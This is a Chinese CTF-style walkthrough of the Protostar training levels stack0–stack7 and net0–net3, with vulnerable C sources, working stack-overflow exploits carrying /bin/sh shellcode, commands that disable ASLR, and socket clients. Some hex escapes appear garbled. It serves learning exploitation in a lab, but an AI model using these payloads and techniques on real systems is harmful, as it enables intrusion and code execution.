转载学习于 http://www.programlife.net/exploit-exercises-protostar-writeup-1.html
stack0 ````````````````````````````````````````````````````````````````````````````````````````````````
1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6int main(int argc, char **argv) 7{ 8 volatile int modified; 9 char buffer[64]; 10 11 if(argc == 1) { 12 errx(1, "please specify an argument "); 13 } 14 15 modified = 0; 16 strcpy(buffer, argv[1]); 17 18 if(modified == 0x61626364) { 19 printf("you have correctly got the variable to the right value "); 20 } else { 21 printf("Try again, you got 0x%08x ", modified); 22 } 23}python -c "print 'A'*65" | ./stack0
stack1 ````````````````````````````````````````````````````````````````````````````````````````````````
1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6int main(int argc, char **argv) 7{ 8 volatile int modified; 9 char buffer[64]; 10 11 if(argc == 1) { 12 errx(1, "please specify an argument "); 13 } 14 15 modified = 0; 16 strcpy(buffer, argv[1]); 17 18 if(modified == 0x61626364) { 19 printf("you have correctly got the variable to the right value "); 20 } else { 21 printf("Try again, you got 0x%08x ", modified); 22 } 23}python -c "print 'A'*64+'x64x63x62x61'" | xargs ./stack1
stack2 ````````````````````````````````````````````````````````````````````````````````````````````````
1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6int main(int argc, char **argv) 7{ 8 volatile int modified; 9 char buffer[64]; 10 char *variable; 11 12 variable = getenv("GREENIE"); 13 14 if(variable == NULL) { 15 errx(1, "please set the GREENIE environment variable "); 16 } 17 18 modified = 0; 19 20 strcpy(buffer, variable); 21 22 if(modified == 0x0d0a0d0a) { 23 printf("you have correctly modified the variable "); 24 } else { 25 printf("Try again, you got 0x%08x ", modified); 26 } 27 28}
import os
def main():
envval = 'A'*64 + 'x0ax0dx0ax0d'
os.putenv("GREENIE", envval)
os.system("./stack2")
if __name__ == "__main__":
main()
然后 python stack2.py (另外 具体输入0D0A的方法是“回车->Ctrl+V->回车" *2)
1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6void win() 7{ 8 printf("code flow successfully changed "); 9} 10 11int main(int argc, char **argv) 12{ 13 volatile int (*fp)(); 14 char buffer[64]; 15 16 fp = 0; 17 18 gets(buffer); 19 20 if(fp) { 21 printf("calling function pointer, jumping to 0x%08x ", fp); 22 fp(); 23 } 24}IDA 看到 08048424 win 地址那么
python -c "print 'A'*64+'x24x84x04x08'" | ./stack3
stack4 ````````````````````````````````````````````````````````````````````````````````````````````````
1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6void win() 7{ 8 printf("code flow successfully changed "); 9} 10 11int main(int argc, char **argv) 12{ 13 char buffer[64]; 14 15 gets(buffer); 16}解法1 edb调试 看到 可以覆盖 'A'*64 + 12字节之后的返回地址 可以调节 程序流程
python -c "print 'A'*64+'b'*12 + 'xf4x83x04x08'" | ./stack4
解法2
main函数的返回地址覆盖偏移值为: 0×50+8+4-0×10=0x4C
stack5 ````````````````````````````````````````````````````````````````````````````````````````````````1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6int main(int argc, char **argv) 7{ 8 char buffer[64]; 9 10 gets(buffer); 11}
0x080483c4 <+0>: push %ebp 0x080483c5 <+1>: mov %esp,%ebp 0x080483c7 <+3>: and $0xfffffff0,%esp 0x080483ca <+6>: sub $0x50,%esp 0x080483cd <+9>: lea 0x10(%esp),%eax 0x080483d1 <+13>: mov %eax,(%esp) 0x080483d4 <+16>: call 0x80482e8 <gets@plt> 0x080483d9 <+21>: leave 0x080483da <+22>: ret
main函数的返回地址覆盖偏移: 0x50+4+8-0x10 = 0x4c
第一 我们必须要先关闭内存随机化 echo 0 >/proc/sys/kernel/randomize_va_space 要不然 用返回地址去覆盖跟定会出错 关闭Linux 内存地址随机化机制, 禁用进程地址空间随机化.可以将进程的mmap的基址,stack和vdso页面地址固定下来. 可以通过设置kernel.randomize_va_space内核参数来设置内存地址随机化的行为. 目前randomize_va_space的值有三种,分别是[0,1,2] 0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址,stack和vdso页面随机化。 2 - 表示在1的基础上增加栈(heap)的随机化。
ulimit -c unlimited 不限制core文件的大小 cat /proc/sys/kernel/core_pattern 查看core文件位置与格式 echo 1 > /proc/sys/fs/suid_dumpable 设置生成core文件
python -c "print 'A'*0x4c" | ./stack5
root@bt:~/Desktop/protostar/bin#gdb -q -c core
[New Thread 2875]
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0 0xb7e89b00 in ?? ()
(gdb) x /40xw $esp-100
0xbffff31c: 0x080483d9 0xbffff330 0xb7ea22a5 0xbffff338
0xbffff32c: 0xb7e899d5 0x41414141 0x41414141 0x41414141
0xbffff33c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff34c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff35c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff36c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff37c: 0xb7e89b00 0x00000001 0xbffff424 0xbffff42c
0xbffff38c: 0xb7fe1858 0xbffff3e0 0xffffffff 0xb7ffeff4
需要覆盖 0xbffff37c 地址上的值 为 0xbffff330 + 0x4c + 4 =0xBFFFF380
这里覆盖 0x4c+4 后的地址, 因为0x4c后的地址为 我们要覆盖的地址,0x4c+4 是我们想要开始执行shellcode的地址
import sys #0xbffff380: retnaddr = "x80xf3xffxbf" shellcode = ("x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/dev" + "x89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31" + "xc0x50x68//shx68/binx89xe3x50x53x89xe1x99" + "xb0x0bxcdx80") sys.stdout.write('A'*0x4C + retnaddr + 'x90'*20 + shellcode)
stack6 ````````````````````````````````````````````````````````````````````````````````````````````````
1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6void getpath() 7{ 8 char buffer[64]; 9 unsigned int ret; 10 11 printf("input path please: "); fflush(stdout); 12 13 gets(buffer); 14 15 ret = __builtin_return_address(0); 16 17 if((ret & 0xbf000000) == 0xbf000000) { 18 printf("bzzzt (%p) ", ret); 19 _exit(1); 20 } 21 22 printf("got path %s ", buffer); 23} 24 25int main(int argc, char **argv) 26{ 27 getpath(); 28}
0x08048484 <+0>: push %ebp 0x08048485 <+1>: mov %esp,%ebp 0x08048487 <+3>: sub $0x68,%esp 0x0804848a <+6>: mov $0x80485d0,%eax 0x0804848f <+11>: mov %eax,(%esp) 0x08048492 <+14>: call 0x80483c0 <printf@plt> 0x08048497 <+19>: mov 0x8049720,%eax 0x0804849c <+24>: mov %eax,(%esp) 0x0804849f <+27>: call 0x80483b0 <fflush@plt> 0x080484a4 <+32>: lea -0x4c(%ebp),%eax 0x080484a7 <+35>: mov %eax,(%esp) 0x080484aa <+38>: call 0x8048380 <gets@plt> ········· 0x080484f9 <+117>: ret
返回地址 覆盖偏移值 = 0x4c + 4 = 0x50
这个题对返回地址作了判断,那么我们可以利用一个ret 指令,跳转到esp到shellcode直接执行
root@bt:~/Desktop/protostar/bin#
python -c "print 'A'*0x50 + 'b'*4" | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbAAAAAAAAAAAAbbbb
段错误 (core dumped)
root@bt:~/Desktop/protostar/bin# gdb -q -c core
[New Thread 3124]
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0 0x62626262 in ?? ()
(gdb) x /40xw $esp-100
0xbffff30c: 0x00000001 0x00000000 0x00000001 0xb7fff8f8
0xbffff31c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff32c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff33c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff34c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff35c: 0x62626262 0x41414141 0x41414141 0x41414141
0xbffff36c: 0x62626262 0x08048500 0x00000000 0xbffff3f8
0xbffff37c: 0xb7e89bd6 0x00000001 0xbffff424 0xbffff42c
覆盖0xbffff36c 地址上的值为 ret (0x080484f9 ) 然后 0xbffff370 地址上的值为 shellcode 地址起始 赋值为 0xbffff374
import sys #0x080484f9 retbyte = "xf9x84x04x08" #0xbffff370: retnaddr = "x74xf3xffxbf" shellcode = ("x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/dev" + "x89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31" + "xc0x50x68//shx68/binx89xe3x50x53x89xe1x99" + "xb0x0bxcdx80") #open('payload.txt','wb').write('A'*0x50 + retbyte + retnaddr +'x90'*0x20 + shellcode) sys.stdout.write('A'*0x50 + retbyte + retnaddr +'x90'*0x20+ shellcode)
stack7 ````````````````````````````````````````````````````````````````````````````````````````````````
1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6char *getpath() 7{ 8 char buffer[64]; 9 unsigned int ret; 10 11 printf("input path please: "); fflush(stdout); 12 13 gets(buffer); 14 15 ret = __builtin_return_address(0); 16 17 if((ret & 0xb0000000) == 0xb0000000) { 18 printf("bzzzt (%p) ", ret); 19 _exit(1); 20 } 21 22 printf("got path %s ", buffer); 23 return strdup(buffer); 24} 25 26int main(int argc, char **argv) 27{ 28 getpath(); 29}跟stack6 一样的做法,只是 ret 地址不同而已
import sys #0x08048544 retbyte = "x44x85x04x08" #0xbffff370: retnaddr = "x74xf3xffxbf" shellcode = ("x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/dev" + "x89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31" + "xc0x50x68//shx68/binx89xe3x50x53x89xe1x99" + "xb0x0bxcdx80") #open('payload.txt','wb').write('A'*0x50 + retbyte + retnaddr +'x90'*0x20 + shellcode) sys.stdout.write('A'*0x50 + retbyte+retnaddr +'x90'*0x20+ shellcode)
另外···················
objdump 还有点好用
msfconsole 下的 msfelfscan 也好用
还可以用IDA 查看 寻找
msf > msfelfscan -p stack6 [*] exec: msfelfscan -p stack6 [stack6] 0x08048452 pop ebx; pop ebp; ret 0x08048577 pop edi; pop ebp; ret 0x080485a7 pop ebx; pop ebp; ret
本题可以第二种方法: jmp eax
net0 ````````````````````````````````````````````````````````````````````````````````````````````````
1#include "../common/common.c" 2 3#define NAME "net0" 4#define UID 999 5#define GID 999 6#define PORT 2999 7 8void run() 9{ 10 unsigned int i; 11 unsigned int wanted; 12 13 wanted = random(); 14 15 printf("Please send '%d' as a little endian 32bit int ", wanted); 16 17 if(fread(&i, sizeof(i), 1, stdin) == NULL) { 18 errx(1, ":( "); 19 } 20 21 if(i == wanted) { 22 printf("Thank you sir/madam "); 23 } else { 24 printf("I'm sorry, you sent %d instead ", i); 25 } 26} 27 28int main(int argc, char **argv, char **envp) 29{ 30 int fd; 31 char *username; 32 33 /* Run the process as a daemon */ 34 background_process(NAME, UID, GID); 35 36 /* Wait for socket activity and return */ 37 fd = serve_forever(PORT); 38 39 /* Set the client socket to STDIN, STDOUT, and STDERR */ 40 set_io(fd); 41 42 /* Don't do this :> */ 43 srandom(time(NULL)); 44 45 run(); 46}
<span style="font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);"></span><pre name="code" class="python"><pre name="code" class="python">import socket import struct if __name__ == '__main__': import socket import struct sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(('192.168.198.130',2999)) data = sock.recv(1024) print data print type(data) data = data.split("'")[1] print type(data) sock.send(struct.pack('<i', int(data))) sock.send(data) print sock.recv(1024) sock.close()
root@bt:~/Desktop# python client.py Please send '175243340' as a little endian 32bit int <type 'str'> <type 'str'> Thank you sir/madam
<span style="font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);">split说明:</span>
s="aaabcccbdddbeeebffff" result=string.split(s,"b") 则result值为['aaa', 'ccc', 'ddd', 'eee', 'ffff'] sep就是这里的"b",也就是字符串里面找到"b",将其作为分隔符,把字符串s分开,这里没有maxsplit参数,也就默认是全部分隔。 如果添加maxsplit参数,比如result=string.split(s,"b",2)这里把maxsplit设置为2,那么就只会分割前面两个,那么result的值为['aaa', 'ccc', 'dddbeeebffff'] 后面那个干脆就没分割了,不过一般很少有用到maxsplit参数的时候。 另外如果不给出sep也就是分隔符,那么默认是空格。 比如s="aa bb cc dd" result=string.split(s) 那么result的值为['aa', 'bb', 'cc', 'dd'],就是用空格来分割。 对了,split作为string的一个方法,还可以由string对象,也就是一般的字符串直接调用搜索,比如上面的可以result=s.split()就行了。
net1 ````````````````````````````````````````````````````````````````````````````````````````````````
1#include "../common/common.c" 2 3#define NAME "net1" 4#define UID 998 5#define GID 998 6#define PORT 2998 7 8void run() 9{ 10 char buf[12]; 11 char fub[12]; 12 char *q; 13 14 unsigned int wanted; 15 16 wanted = random(); 17 18 sprintf(fub, "%d", wanted); 19 20 if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { 21 errx(1, ":( "); 22 } 23 24 if(fgets(buf, sizeof(buf)-1, stdin) == NULL) { 25 errx(1, ":( "); 26 } 27 28 q = strchr(buf, ' '); if(q) *q = 0; 29 q = strchr(buf, ' '); if(q) *q = 0; 30 31 if(strcmp(fub, buf) == 0) { 32 printf("you correctly sent the data "); 33 } else { 34 printf("you didn't send the data properly "); 35 } 36} 37 38int main(int argc, char **argv, char **envp) 39{ 40 int fd; 41 char *username; 42 43 /* Run the process as a daemon */ 44 background_process(NAME, UID, GID); 45 46 /* Wait for socket activity and return */ 47 fd = serve_forever(PORT); 48 49 /* Set the client socket to STDIN, STDOUT, and STDERR */ 50 set_io(fd); 51 52 /* Don't do this :> */ 53 srandom(time(NULL)); 54 55 run(); 56}
python 语法:
Character | Byte order | Size | Alignment |
---|---|---|---|
@ | native | native | native |
= | native | standard | none |
< | little-endian | standard | none |
> | big-endian | standard | none |
! | network (= big-endian) | standard | none |
Format | C Type | Python type | Standard size | Notes |
---|---|---|---|---|
x | pad byte | no value | ||
c | char | string of length 1 | 1 | |
b | signed char | integer | 1 | (3) |
B | unsigned char | integer | 1 | (3) |
? | _Bool | bool | 1 | (1) |
h | short | integer | 2 | (3) |
H | unsigned short | integer | 2 | (3) |
i | int | integer | 4 | (3) |
I | unsigned int | integer | 4 | (3) |
l | long | integer | 4 | (3) |
L | unsigned long | integer | 4 | (3) |
q | long long | integer | 8 | (2), (3) |
Q | unsigned long long | integer | 8 | (2), (3) |
f | float | float | 4 | (4) |
d | double | float | 8 | (4) |
s | char[] | string | ||
p | char[] | string | ||
P | void * | integer | (5), (3) |
eg: data = struct.unpack('<i','abcd') print data #1 data = "%d " % (struct.unpack('<i', 'abcd')) print data #2 (1684234849,)#1 1684234849 #2
结果:
if __name__ == '__main__': import socket import struct sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(('192.168.198.130',2998)) data = sock.recv(1024) print data print type(data) data = '%d ' % struct.unpack('i',data) print 'send data '+data sock.send(data) print sock.recv(1024) sock.close()
root@bt:~/Desktop# python client.py ���? <type 'str'> send data 1071159696 you correctly sent the data
····这个程序怎么退出呢 ,先要查询 监听TCP 2998 端口的进程号 netstat -tlnp|grep 2998 然后KILL 进程即可
net2 ````````````````````````````````````````````````````````````````````````````````````````````````
int __cdecl run() { int result; // eax@9 int buf; // [sp+14h] [bp-24h]@6 int v2[4]; // [sp+18h] [bp-20h]@2 int i; // [sp+28h] [bp-10h]@1 int v4; // [sp+2Ch] [bp-Ch]@1 v4 = 0; for ( i = 0; i <= 3; ++i ) { v2[i] = random(); v4 += v2[i]; if ( write(0, &v2[i], 4u) != 4 ) errx(1, ":( "); } if ( read(0, &buf, 4u) != 4 ) errx(1, ":< "); if ( v4 == buf ) result = puts("you added them correctly"); else result = puts("sorry, try again. invalid"); return result; }答案:1
if __name__ == '__main__': import socket import struct sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(('192.168.198.130',2997)) data = sock.recv(1024) print data data = struct.unpack('iiii',data) print data print type(data) data2 = data[0]+data[1]+data[2]+data[3] data3 = struct.pack('q',data2) sock.send(data3) print sock.recv(1024) sock.close()
root@bt:~/Desktop# python client.py ��!Y�?f,q��Y7 (1495371652, 1065588930, 1898735133, 928636033) <type 'tuple'> you added them correctly答案:2
import socket import struct if __name__ == '__main__': sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.198.130", 2997)) sum = 0 datalen = 0 while datalen < 12: data = sock.recv(1024) print type(data) datalen += len(data) print 'datalen = %d' % datalen data = struct.unpack("<%dI" % (len(data)/4), data) print type(data) for x in data: print "%d" % x sum += x sock.send(struct.pack("<I", sum)) print sock.recv(1024) sock.close()
root@bt:~/Desktop# python client.py <type 'str'> datalen = 16 <type 'tuple'> 673873820 2011859757 186060414 580064129 you added them correctly
net3 ````````````````````````````````````````````````````````````````````````````````````````````````
int __cdecl get_string(char **a1, int a2, unsigned __int16 a3) { unsigned __int8 v4; // [sp+2Fh] [bp-9h]@1 v4 = *(_BYTE *)a2; if ( *(_BYTE *)a2 > a3 ) errx(1, "badly formed packet"); *a1 = (char *)malloc(v4);//这里可以看出这里需要 buffer长度,接着就是buffer长度了 strcpy(*a1, (const char *)(a2 + 1));//(a2+1)看出buffer长度之后就是buffer了 return v4 + 1; }
<span style="font-size:12px;">bool __cdecl login(int a1, unsigned __int16 a2) { int v2; // eax@3 int v3; // eax@3 int v4; // eax@3 int v5; // eax@3 int v6; // eax@3 int v7; // eax@3 const char *v9; // [sp+2Ch] [bp-1Ch]@3 const char *v10; // [sp+30h] [bp-18h]@3 char *ptr; // [sp+34h] [bp-14h]@3 int v12; // [sp+38h] [bp-10h]@3 int v13; // [sp+3Ch] [bp-Ch]@3 if ( a2 <= 2u ) errx(1, "invalid login packet length"); v9 = NULL; v10 = NULL; ptr = NULL; v2 = get_string(&ptr, a1, a2); v12 = v2; v3 = get_string((char **)&v10, a1 + v2, a2 - v2); v12 += v3; v4 = get_string((char **)&v9, a1 + v12, a2 - v12); v12 += v4; v13 = 0; v5 = strcmp(ptr, "net3"); v13 |= v5; v6 = strcmp(v10, "awesomesauce"); v13 |= v6; v7 = strcmp(v9, "password"); v13 |= v7; free(ptr); free((void *)v10); free((void *)v9); return v13 == 0; }</span>
void __cdecl run(int fd) { char *v1; // eax@5 int v2; // [sp+16h] [bp-12h]@1 int v3; // [sp+1Ch] [bp-Ch]@4 while ( 1 ) { nread(fd, (int)&v2, 2);//下面申请内存可以看出传入的字符串第一个应该是长度,并且是 unsigned int 并且是大尾 LOWORD(v2) = ntohs(v2); *(int *)((char *)&v2 + 2) = (int)malloc((unsigned __int16)v2);//申请了内存必定是存放字符串的,第一个肯定是长度来申请内存,(char*)&v2+2肯定是buffer if ( !*(int *)((char *)&v2 + 2) ) break; nread(fd, *(int *)((char *)&v2 + 2), (unsigned __int16)v2); if ( **(_BYTE **)((char *)&v2 + 2) == 23 )//第二个字符为23 { v3 = login(*(int *)((char *)&v2 + 2) + 1, (unsigned __int16)(v2 - 1));//这里((char*)&v2+2) +1 是因为存放前面的23 if ( v3 ) v1 = "successful"; else v1 = "failed"; send_string(fd, 33, v1); } else { send_string(fd, 58, "what you talkin about willis?"); } } errx(1, "malloc failure for %d bytes", (unsigned __int16)v2); }
答案:
import socket import struct def getdata(): data = ["net3","awesomesauce","password"] buffer = 'x17' for x in data: buffer = buffer + chr(len(x)+1) + x + ' 0' buffer += ' ' return buffer if __name__ == "__main__": sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(("192.168.198.130",2996)) data = getdata() sock.send(struct.pack('>H',len(data))) sock.send(data) print sock.recv(1024)